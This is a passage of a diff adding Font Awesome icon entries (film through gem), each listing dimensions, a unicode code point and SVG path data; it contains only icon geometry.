0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z"], + "film": [512, 512, [], "f008", "M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"], + "filter": [512, 512, [], "f0b0", "M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z"], + "fingerprint": [512, 512, [], "f577", "M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z"], + "fire": [384, 512, [], "f06d", "M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z"], + "fire-alt": [448, 512, [], "f7e4", "M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z"], + "fire-extinguisher": [448, 512, [], "f134", "M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z"], + "first-aid": [576, 512, [], "f479", "M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"], + "fish": [576, 512, [], "f578", "M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"], + "fist-raised": [384, 512, [], "f6de", "M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z"], + "flag": [512, 512, [], "f024", "M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z"], + "flag-checkered": [512, 512, [], "f11e", "M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z"], + "flag-usa": [512, 512, [], "f74d", "M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z"], + "flask": [448, 512, [], "f0c3", "M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z"], + "flushed": [496, 512, [], "f579", "M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z"], + "folder": [512, 512, [], "f07b", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z"], + "folder-minus": [512, 512, [], "f65d", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z"], + "folder-open": [576, 512, [], "f07c", "M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z"], + "folder-plus": [512, 512, [], "f65e", "M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z"], + "font": [448, 512, [], "f031", "M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z"], + "font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"], + "football-ball": [496, 512, [], "f44e", "M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z"], + "forward": [512, 512, [], "f04e", "M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z"], + "frog": [576, 512, [], "f52e", "M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z"], + "frown": [496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z"], + "frown-open": [496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "funnel-dollar": [640, 512, [], "f662", "M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z"], + "futbol": [512, 512, [], "f1e3", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z"], + "gamepad": [640, 512, [], "f11b", "M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z"], + "gas-pump": [512, 512, [], "f52f", "M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z"], + "gavel": [512, 512, [], "f0e3", "M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z"], + "gem": [576, 512, [], "f3a5", "M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 